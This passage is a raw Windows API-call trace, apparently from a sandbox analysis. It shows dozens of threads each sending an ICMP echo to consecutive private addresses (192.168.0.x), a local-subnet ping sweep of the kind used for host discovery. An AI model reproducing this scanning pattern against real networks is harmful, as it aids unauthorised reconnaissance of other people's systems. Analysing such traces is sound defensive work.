	[0242.770] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bf8d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 936
	os_tid = 0x14c4

	[0227.443] GetLastError () returned 0x57
	[0227.443] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2bfca0
	[0227.443] SetLastError (dwErrCode=0x57) 
	[0227.443] IcmpCreateFile () returned 0x2bca90
	[0228.212] IcmpSendEcho (in: IcmpHandle=0x2bca90, DestinationAddress=0x8b00a8c0, RequestData=0x13b7f7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13b7f7c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13b7f7c0) returned 0x1
	[0242.606] IcmpCloseHandle (IcmpHandle=0x2bca90) returned 1
	[0242.606] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2bfca0 | out: hHeap=0x230000) returned 1

Thread:
	id = 937
	os_tid = 0x14c8

	[0227.444] GetLastError () returned 0x57
	[0227.444] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c0070
	[0227.444] SetLastError (dwErrCode=0x57) 
	[0227.444] IcmpCreateFile () returned 0x2bcae0
	[0228.214] IcmpSendEcho (in: IcmpHandle=0x2bcae0, DestinationAddress=0x8c00a8c0, RequestData=0x13e2fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13e2fbe0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13e2fbe0) returned 0x1
	[0242.542] IcmpCloseHandle (IcmpHandle=0x2bcae0) returned 1
	[0242.542] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c0070 | out: hHeap=0x230000) returned 1

Thread:
	id = 938
	os_tid = 0x14cc

	[0227.445] GetLastError () returned 0x57
	[0227.445] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c0440
	[0227.446] SetLastError (dwErrCode=0x57) 
	[0227.446] IcmpCreateFile () returned 0x2bcb30
	[0228.215] IcmpSendEcho (in: IcmpHandle=0x2bcb30, DestinationAddress=0x8d00a8c0, RequestData=0x13f9fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13f9fd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13f9fd00) returned 0x1
	[0242.420] IcmpCloseHandle (IcmpHandle=0x2bcb30) returned 1
	[0242.420] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c0440 | out: hHeap=0x230000) returned 1

Thread:
	id = 939
	os_tid = 0x14d0

	[0227.446] GetLastError () returned 0x57
	[0227.446] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c0810
	[0227.447] SetLastError (dwErrCode=0x57) 
	[0227.447] IcmpCreateFile () returned 0x2bcb80
	[0228.216] IcmpSendEcho (in: IcmpHandle=0x2bcb80, DestinationAddress=0x8e00a8c0, RequestData=0x1412fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1412fba0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1412fba0) returned 0x1
	[0242.375] IcmpCloseHandle (IcmpHandle=0x2bcb80) returned 1
	[0242.375] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c0810 | out: hHeap=0x230000) returned 1

Thread:
	id = 940
	os_tid = 0x14d4

	[0227.447] GetLastError () returned 0x57
	[0227.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c0be0
	[0227.447] SetLastError (dwErrCode=0x57) 
	[0227.448] IcmpCreateFile () returned 0x2bcbd0
	[0228.217] IcmpSendEcho (in: IcmpHandle=0x2bcbd0, DestinationAddress=0x8f00a8c0, RequestData=0x1425f940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1425f960, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1425f960) returned 0x1
	[0242.238] IcmpCloseHandle (IcmpHandle=0x2bcbd0) returned 1
	[0242.238] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c0be0 | out: hHeap=0x230000) returned 1

Thread:
	id = 941
	os_tid = 0x14d8

	[0227.448] GetLastError () returned 0x57
	[0227.448] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c0fb0
	[0227.448] SetLastError (dwErrCode=0x57) 
	[0227.448] IcmpCreateFile () returned 0x2bcc20
	[0228.218] IcmpSendEcho (in: IcmpHandle=0x2bcc20, DestinationAddress=0x9000a8c0, RequestData=0x13ccfe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x13ccfe40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x13ccfe40) returned 0x1
	[0242.087] IcmpCloseHandle (IcmpHandle=0x2bcc20) returned 1
	[0242.087] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c0fb0 | out: hHeap=0x230000) returned 1

Thread:
	id = 942
	os_tid = 0x14dc

	[0227.450] GetLastError () returned 0x57
	[0227.450] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c9680
	[0227.453] SetLastError (dwErrCode=0x57) 
	[0227.453] IcmpCreateFile () returned 0x2bcc70
	[0228.228] IcmpSendEcho (in: IcmpHandle=0x2bcc70, DestinationAddress=0x9100a8c0, RequestData=0x1442fda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1442fdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1442fdc0) returned 0x1
	[0241.921] IcmpCloseHandle (IcmpHandle=0x2bcc70) returned 1
	[0241.921] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c9680 | out: hHeap=0x230000) returned 1

Thread:
	id = 943
	os_tid = 0x14e0

	[0227.454] GetLastError () returned 0x57
	[0227.454] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c9a50
	[0227.454] SetLastError (dwErrCode=0x57) 
	[0227.454] IcmpCreateFile () returned 0x2bccc0
	[0228.229] IcmpSendEcho (in: IcmpHandle=0x2bccc0, DestinationAddress=0x9200a8c0, RequestData=0x131af960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x131af980, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x131af980) returned 0x1
	[0241.783] IcmpCloseHandle (IcmpHandle=0x2bccc0) returned 1
	[0241.783] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c9a50 | out: hHeap=0x230000) returned 1

Thread:
	id = 944
	os_tid = 0x14e4

	[0227.454] GetLastError () returned 0x57
	[0227.455] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2c9e20
	[0227.455] SetLastError (dwErrCode=0x57) 
	[0227.455] IcmpCreateFile () returned 0x2bcd10
	[0228.230] IcmpSendEcho (in: IcmpHandle=0x2bcd10, DestinationAddress=0x9300a8c0, RequestData=0x1466fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1466faa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1466faa0) returned 0x1
	[0241.520] IcmpCloseHandle (IcmpHandle=0x2bcd10) returned 1
	[0241.520] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2c9e20 | out: hHeap=0x230000) returned 1

Thread:
	id = 945
	os_tid = 0x14e8

	[0227.455] GetLastError () returned 0x57
	[0227.455] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ca1f0
	[0227.456] SetLastError (dwErrCode=0x57) 
	[0227.456] IcmpCreateFile () returned 0x2bcd60
	[0228.231] IcmpSendEcho (in: IcmpHandle=0x2bcd60, DestinationAddress=0x9400a8c0, RequestData=0x1477f800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1477f820, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1477f820) returned 0x1
	[0241.350] IcmpCloseHandle (IcmpHandle=0x2bcd60) returned 1
	[0241.351] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ca1f0 | out: hHeap=0x230000) returned 1

Thread:
	id = 946
	os_tid = 0x14ec

	[0227.456] GetLastError () returned 0x57
	[0227.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ca5c0
	[0227.457] SetLastError (dwErrCode=0x57) 
	[0227.457] IcmpCreateFile () returned 0x2bcdb0
	[0228.235] IcmpSendEcho (in: IcmpHandle=0x2bcdb0, DestinationAddress=0x9500a8c0, RequestData=0x1456fc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1456fc60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1456fc60) returned 0x1
	[0241.232] IcmpCloseHandle (IcmpHandle=0x2bcdb0) returned 1
	[0241.232] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ca5c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 947
	os_tid = 0x14f0

	[0227.457] GetLastError () returned 0x57
	[0227.457] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ca990
	[0227.458] SetLastError (dwErrCode=0x57) 
	[0227.458] IcmpCreateFile () returned 0x2bce00
	[0228.236] IcmpSendEcho (in: IcmpHandle=0x2bce00, DestinationAddress=0x9600a8c0, RequestData=0x14a3fde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14a3fe00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x14a3fe00) returned 0x1
	[0241.055] IcmpCloseHandle (IcmpHandle=0x2bce00) returned 1
	[0241.055] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ca990 | out: hHeap=0x230000) returned 1

Thread:
	id = 948
	os_tid = 0x14f4

	[0227.458] GetLastError () returned 0x57
	[0227.458] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cad60
	[0227.459] SetLastError (dwErrCode=0x57) 
	[0227.459] IcmpCreateFile () returned 0x2bce50
	[0228.237] IcmpSendEcho (in: IcmpHandle=0x2bce50, DestinationAddress=0x9700a8c0, RequestData=0x14baf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14baf940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x14baf940) returned 0x1
	[0240.870] IcmpCloseHandle (IcmpHandle=0x2bce50) returned 1
	[0240.871] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cad60 | out: hHeap=0x230000) returned 1

Thread:
	id = 949
	os_tid = 0x14f8

	[0227.460] GetLastError () returned 0x57
	[0227.460] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cb130
	[0227.460] SetLastError (dwErrCode=0x57) 
	[0227.460] IcmpCreateFile () returned 0x2bcea0
	[0228.239] IcmpSendEcho (in: IcmpHandle=0x2bcea0, DestinationAddress=0x9800a8c0, RequestData=0x1487fe40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1487fe60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1487fe60) returned 0x1
	[0240.544] IcmpCloseHandle (IcmpHandle=0x2bcea0) returned 1
	[0240.545] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cb130 | out: hHeap=0x230000) returned 1

Thread:
	id = 950
	os_tid = 0x14fc

	[0227.619] GetLastError () returned 0x57
	[0227.619] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cb500
	[0227.620] SetLastError (dwErrCode=0x57) 
	[0227.620] IcmpCreateFile () returned 0x2bcef0
	[0228.240] IcmpSendEcho (in: IcmpHandle=0x2bcef0, DestinationAddress=0x9900a8c0, RequestData=0x14d8f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14d8f900, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x14d8f900) returned 0x1
	[0240.423] IcmpCloseHandle (IcmpHandle=0x2bcef0) returned 1
	[0240.424] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cb500 | out: hHeap=0x230000) returned 1

Thread:
	id = 960
	os_tid = 0x1524

	[0227.620] GetLastError () returned 0x57
	[0227.621] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cb8d0
	[0227.621] SetLastError (dwErrCode=0x57) 
	[0227.621] IcmpCreateFile () returned 0x2bcf40
	[0228.241] IcmpSendEcho (in: IcmpHandle=0x2bcf40, DestinationAddress=0x9a00a8c0, RequestData=0x1502fd80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1502fda0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1502fda0) returned 0x1
	[0240.266] IcmpCloseHandle (IcmpHandle=0x2bcf40) returned 1
	[0240.266] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cb8d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 961
	os_tid = 0x1528

	[0227.621] GetLastError () returned 0x57
	[0227.622] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cbca0
	[0227.622] SetLastError (dwErrCode=0x57) 
	[0227.622] IcmpCreateFile () returned 0x2bcf90
	[0228.242] IcmpSendEcho (in: IcmpHandle=0x2bcf90, DestinationAddress=0x9b00a8c0, RequestData=0x1523f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1523f880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1523f880) returned 0x1
	[0240.051] IcmpCloseHandle (IcmpHandle=0x2bcf90) returned 1
	[0240.051] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cbca0 | out: hHeap=0x230000) returned 1

Thread:
	id = 962
	os_tid = 0x152c

	[0227.622] GetLastError () returned 0x57
	[0227.622] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cc070
	[0227.623] SetLastError (dwErrCode=0x57) 
	[0227.623] IcmpCreateFile () returned 0x2bcfe0
	[0228.243] IcmpSendEcho (in: IcmpHandle=0x2bcfe0, DestinationAddress=0x9c00a8c0, RequestData=0x1534fa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1534faa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1534faa0) returned 0x1
	[0239.925] IcmpCloseHandle (IcmpHandle=0x2bcfe0) returned 1
	[0239.925] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cc070 | out: hHeap=0x230000) returned 1

Thread:
	id = 963
	os_tid = 0x1530

	[0227.623] GetLastError () returned 0x57
	[0227.623] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cc440
	[0227.624] SetLastError (dwErrCode=0x57) 
	[0227.624] IcmpCreateFile () returned 0x2bd030
	[0228.244] IcmpSendEcho (in: IcmpHandle=0x2bd030, DestinationAddress=0x9d00a8c0, RequestData=0x14ecfc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x14ecfca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x14ecfca0) returned 0x1
	[0239.795] IcmpCloseHandle (IcmpHandle=0x2bd030) returned 1
	[0239.795] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cc440 | out: hHeap=0x230000) returned 1

Thread:
	id = 964
	os_tid = 0x1534

	[0227.625] GetLastError () returned 0x57
	[0227.625] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2cc810
	[0227.626] SetLastError (dwErrCode=0x57) 
	[0227.626] IcmpCreateFile () returned 0x2bd080
	[0228.245] IcmpSendEcho (in: IcmpHandle=0x2bd080, DestinationAddress=0x9e00a8c0, RequestData=0x1556fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1556fe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1556fe80) returned 0x1
	[0239.652] IcmpCloseHandle (IcmpHandle=0x2bd080) returned 1
	[0239.653] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2cc810 | out: hHeap=0x230000) returned 1

Thread:
	id = 965
	os_tid = 0x1538

	[0227.626] GetLastError () returned 0x57
	[0227.626] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ccbe0
	[0227.627] SetLastError (dwErrCode=0x57) 
	[0227.627] IcmpCreateFile () returned 0x2bd0d0
	[0228.246] IcmpSendEcho (in: IcmpHandle=0x2bd0d0, DestinationAddress=0x9f00a8c0, RequestData=0x1512fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1512fe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1512fe80) returned 0x1
	[0239.503] IcmpCloseHandle (IcmpHandle=0x2bd0d0) returned 1
	[0239.503] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ccbe0 | out: hHeap=0x230000) returned 1

Thread:
	id = 966
	os_tid = 0x153c

	[0227.629] GetLastError () returned 0x57
	[0227.629] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2ccfb0
	[0227.629] SetLastError (dwErrCode=0x57) 
	[0227.629] IcmpCreateFile () returned 0x2bd120
	[0228.249] IcmpSendEcho (in: IcmpHandle=0x2bd120, DestinationAddress=0xa000a8c0, RequestData=0x1546f7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1546f7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1546f7e0) returned 0x1
	[0239.416] IcmpCloseHandle (IcmpHandle=0x2bd120) returned 1
	[0239.416] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2ccfb0 | out: hHeap=0x230000) returned 1

Thread:
	id = 967
	os_tid = 0x1540

	[0227.630] GetLastError () returned 0x57
	[0227.630] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d5680
	[0227.632] SetLastError (dwErrCode=0x57) 
	[0227.632] IcmpCreateFile () returned 0x2bd170
	[0228.250] IcmpSendEcho (in: IcmpHandle=0x2bd170, DestinationAddress=0xa100a8c0, RequestData=0x1580f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1580f880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1580f880) returned 0x1
	[0239.267] IcmpCloseHandle (IcmpHandle=0x2bd170) returned 1
	[0239.268] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d5680 | out: hHeap=0x230000) returned 1

Thread:
	id = 968
	os_tid = 0x1544

	[0227.633] GetLastError () returned 0x57
	[0227.634] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d5a50
	[0227.634] SetLastError (dwErrCode=0x57) 
	[0227.634] IcmpCreateFile () returned 0x2bd1c0
	[0228.251] IcmpSendEcho (in: IcmpHandle=0x2bd1c0, DestinationAddress=0xa200a8c0, RequestData=0x1591fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1591fc40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1591fc40) returned 0x1
	[0239.129] IcmpCloseHandle (IcmpHandle=0x2bd1c0) returned 1
	[0239.130] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d5a50 | out: hHeap=0x230000) returned 1

Thread:
	id = 969
	os_tid = 0x1548

	[0227.634] GetLastError () returned 0x57
	[0227.635] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d5e20
	[0227.635] SetLastError (dwErrCode=0x57) 
	[0227.635] IcmpCreateFile () returned 0x2bd210
	[0228.252] IcmpSendEcho (in: IcmpHandle=0x2bd210, DestinationAddress=0xa300a8c0, RequestData=0x15a8faa0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15a8fac0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15a8fac0) returned 0x1
	[0238.815] IcmpCloseHandle (IcmpHandle=0x2bd210) returned 1
	[0238.816] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d5e20 | out: hHeap=0x230000) returned 1

Thread:
	id = 970
	os_tid = 0x154c

	[0227.635] GetLastError () returned 0x57
	[0227.635] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d61f0
	[0227.636] SetLastError (dwErrCode=0x57) 
	[0227.636] IcmpCreateFile () returned 0x2bd260
	[0228.253] IcmpSendEcho (in: IcmpHandle=0x2bd260, DestinationAddress=0xa400a8c0, RequestData=0x15c5f760, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15c5f780, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15c5f780) returned 0x1
	[0238.621] IcmpCloseHandle (IcmpHandle=0x2bd260) returned 1
	[0238.622] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d61f0 | out: hHeap=0x230000) returned 1

Thread:
	id = 971
	os_tid = 0x1550

	[0227.636] GetLastError () returned 0x57
	[0227.636] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d65c0
	[0227.637] SetLastError (dwErrCode=0x57) 
	[0227.637] IcmpCreateFile () returned 0x2bd2b0
	[0228.254] IcmpSendEcho (in: IcmpHandle=0x2bd2b0, DestinationAddress=0xa500a8c0, RequestData=0x15dcfbe0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15dcfc00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15dcfc00) returned 0x1
	[0238.469] IcmpCloseHandle (IcmpHandle=0x2bd2b0) returned 1
	[0238.469] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d65c0 | out: hHeap=0x230000) returned 1

Thread:
	id = 972
	os_tid = 0x1554

	[0227.637] GetLastError () returned 0x57
	[0227.637] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d6990
	[0227.637] SetLastError (dwErrCode=0x57) 
	[0227.638] IcmpCreateFile () returned 0x2bd300
	[0228.255] IcmpSendEcho (in: IcmpHandle=0x2bd300, DestinationAddress=0xa600a8c0, RequestData=0x15f7fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x15f7fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x15f7fb00) returned 0x1
	[0238.327] IcmpCloseHandle (IcmpHandle=0x2bd300) returned 1
	[0238.327] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d6990 | out: hHeap=0x230000) returned 1

Thread:
	id = 973
	os_tid = 0x1558

	[0227.638] GetLastError () returned 0x57
	[0227.638] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d6d60
	[0227.638] SetLastError (dwErrCode=0x57) 
	[0227.638] IcmpCreateFile () returned 0x2bd350
	[0228.256] IcmpSendEcho (in: IcmpHandle=0x2bd350, DestinationAddress=0xa700a8c0, RequestData=0x156afc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x156afc40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x156afc40) returned 0x1
	[0238.195] IcmpCloseHandle (IcmpHandle=0x2bd350) returned 1
	[0238.195] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d6d60 | out: hHeap=0x230000) returned 1

Thread:
	id = 974
	os_tid = 0x155c

	[0227.639] GetLastError () returned 0x57
	[0227.639] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d7130
	[0227.639] SetLastError (dwErrCode=0x57) 
	[0227.639] IcmpCreateFile () returned 0x2bd3a0
	[0228.257] IcmpSendEcho (in: IcmpHandle=0x2bd3a0, DestinationAddress=0xa800a8c0, RequestData=0x161ffea0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x161ffec0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x161ffec0) returned 0x1
	[0237.985] IcmpCloseHandle (IcmpHandle=0x2bd3a0) returned 1
	[0237.985] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d7130 | out: hHeap=0x230000) returned 1

Thread:
	id = 975
	os_tid = 0x1560

	[0227.640] GetLastError () returned 0x57
	[0227.640] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d7500
	[0227.640] SetLastError (dwErrCode=0x57) 
	[0227.640] IcmpCreateFile () returned 0x2bd3f0
	[0228.258] IcmpSendEcho (in: IcmpHandle=0x2bd3f0, DestinationAddress=0xa900a8c0, RequestData=0x163cfc80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x163cfca0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x163cfca0) returned 0x1
	[0237.770] IcmpCloseHandle (IcmpHandle=0x2bd3f0) returned 1
	[0237.770] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d7500 | out: hHeap=0x230000) returned 1

Thread:
	id = 976
	os_tid = 0x1564

	[0227.641] GetLastError () returned 0x57
	[0227.641] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d78d0
	[0227.641] SetLastError (dwErrCode=0x57) 
	[0227.641] IcmpCreateFile () returned 0x2bd440
	[0228.259] IcmpSendEcho (in: IcmpHandle=0x2bd440, DestinationAddress=0xaa00a8c0, RequestData=0x165ff7c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x165ff7e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x165ff7e0) returned 0x1
	[0237.507] IcmpCloseHandle (IcmpHandle=0x2bd440) returned 1
	[0237.507] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d78d0 | out: hHeap=0x230000) returned 1

Thread:
	id = 977
	os_tid = 0x1568

	[0227.642] GetLastError () returned 0x57
	[0227.642] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d7ca0
	[0227.642] SetLastError (dwErrCode=0x57) 
	[0227.642] IcmpCreateFile () returned 0x2bd490
	[0228.260] IcmpSendEcho (in: IcmpHandle=0x2bd490, DestinationAddress=0xab00a8c0, RequestData=0x1676f7e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1676f800, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1676f800) returned 0x1
	[0237.216] IcmpCloseHandle (IcmpHandle=0x2bd490) returned 1
	[0237.216] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d7ca0 | out: hHeap=0x230000) returned 1

Thread:
	id = 978
	os_tid = 0x156c

	[0227.643] GetLastError () returned 0x57
	[0227.643] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d8070
	[0227.643] SetLastError (dwErrCode=0x57) 
	[0227.643] IcmpCreateFile () returned 0x2bd4e0
	[0228.261] IcmpSendEcho (in: IcmpHandle=0x2bd4e0, DestinationAddress=0xac00a8c0, RequestData=0x1687fa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1687fa40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1687fa40) returned 0x1
	[0236.985] IcmpCloseHandle (IcmpHandle=0x2bd4e0) returned 1
	[0236.985] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d8070 | out: hHeap=0x230000) returned 1

Thread:
	id = 979
	os_tid = 0x1570

	[0227.643] GetLastError () returned 0x57
	[0227.644] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d8440
	[0227.644] SetLastError (dwErrCode=0x57) 
	[0227.644] IcmpCreateFile () returned 0x2bd530
	[0228.262] IcmpSendEcho (in: IcmpHandle=0x2bd530, DestinationAddress=0xad00a8c0, RequestData=0x160bf720, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x160bf740, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x160bf740) returned 0x1
	[0236.797] IcmpCloseHandle (IcmpHandle=0x2bd530) returned 1
	[0236.797] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d8440 | out: hHeap=0x230000) returned 1

Thread:
	id = 980
	os_tid = 0x1574

	[0227.776] GetLastError () returned 0x57
	[0227.776] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d8810
	[0227.776] SetLastError (dwErrCode=0x57) 
	[0227.776] IcmpCreateFile () returned 0x2bd580
	[0228.263] IcmpSendEcho (in: IcmpHandle=0x2bd580, DestinationAddress=0xae00a8c0, RequestData=0x1699fe60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0x1699fe80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0x1699fe80) returned 0x1
	[0236.314] IcmpCloseHandle (IcmpHandle=0x2bd580) returned 1
	[0236.315] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2d8810 | out: hHeap=0x230000) returned 1

Thread:
	id = 999
	os_tid = 0x15c0

	[0227.777] GetLastError () returned 0x57
	[0227.777] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c8) returned 0x2d8be0
	[0227.777] SetLastError (dwErrCode=0x57) 
	[0227.777] IcmpCreateFile () returned 0x2bd5d0
